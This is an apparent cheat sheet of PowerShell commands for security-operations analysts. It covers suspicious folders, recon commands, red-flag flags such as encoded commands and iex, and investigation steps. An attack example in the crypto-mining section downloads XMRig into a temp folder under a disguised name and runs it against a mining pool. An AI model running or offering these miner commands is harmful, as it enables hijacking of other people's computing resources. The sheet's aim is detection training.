Cheatography

PowerShell for SOC Cheat Sheet

by levko via cheatography.com/217993/cs/48039/

Crypto Mining (XMRig)

Scenario: An attacker wants to use your company's electricity and CPU power to make money. They usually hide the miner in a temp folder.

```
curl.exe -L -o C:\tem p\s ys_ upd ate.exe https: //g ith ub.c om /xmrig
```

```
C:\tem p\s ys_ upd ate.exe -o pool.s upp ort xmr.co m:443 -u [Walle t_A ddress] -p Lab_Wo rker_01
```

How to run workshop

```
Invoke -We bRe quest -Uri [Workshop URL ask Yarin] -OutFile " C: \Use rs \Adm ini str ato r\D esk top \wo -
rks hop.ps 1"
```

File Management

`New-Item -ItemType Directory -Path " C: \tem p\d ata "`	**Creates a Folder**
`New-Item -ItemType File -Path " C: \tem p\n ote.tx t"`	**Creates a File**
`Get-Co ntent -Path " C: \tem p\c onf ig.t xt "`	**Reads a File**
`Add-Co ntent -Path " C: \tem p\n ote.tx t" -Value " Hac ked "`	**Edits a File**
`Remove -Item -Path " C: \tem p\n ote.tx t"`	**Deletes a File**

The "Dirty" Folders (Common Hiding Places)

If you see a file being created or run from these paths, it is **highly suspicious**:

```
C:\Use rs \Public
C:\Win dow s\Temp
C:\Use rs \[Us er] \Ap pDa ta \Loc al\Temp
C:\Pro gra mData
```

Identity & Host Recon

`whoami`	Shows the name of the logged-in user.	Look for this running immediately after a suspicious login.
`$env:C OMP UTE RN AME`	Displays the name of the computer you are on.	Often the first thing an automated script checks.
`Get-Pr ocess`	Lists every program (process) currently running.	Look for processes with "odd" names or no description.

PowerShell "Smell Test" (The Red Flags)

`-enc` / `-Encod edC ommand`	Hides the command in scrambled text. Top priority alert.
`iex` (Invoke-Expr-ession)	"Download and run." This is how fileless malware starts.
`-Bypass`	Tells Windows to ignore security policies.
`-W Hidden`	Runs the script silently so the user can't see it.

The five golden steps for De-Core Investigation

1. Check the Parent: Did a suspicious app like Word or Excel launch PowerShell?
2. The Smell Test: Look for hidden, scrambled text or "iex" flags in the command.
3. Follow the Wire: Flag PowerShell connecting to unknown websites or downloading files.
4. Verify User: Does this specific user have a business reason to run admin scripts?
5. Trace the Files: Watch for new files created in "Dirty Folders" or evidence being deleted.

Basic & Network Commands

`curl.exe -O [URL]`	Used to "-call" a website or download a file from a remote server.	Critical: Check the URL. Is it a known site or a strange IP address?
`wget.exe [URL] -OutFile [Name]`	Similar to curl; used to download tools or malware from the internet.	PowerShell using wget.exe to save a file in C:\Temp is highly suspicious.
`Get-Ne tTC PCo nne ction`	Shows every active "-phone call" the computer is making to other computers.	Look for the State = Establ-ished column to see who the machine is talking to right now.

By **levko**
cheatography.com/levko/

Not published yet.
Last updated 4th May, 2026.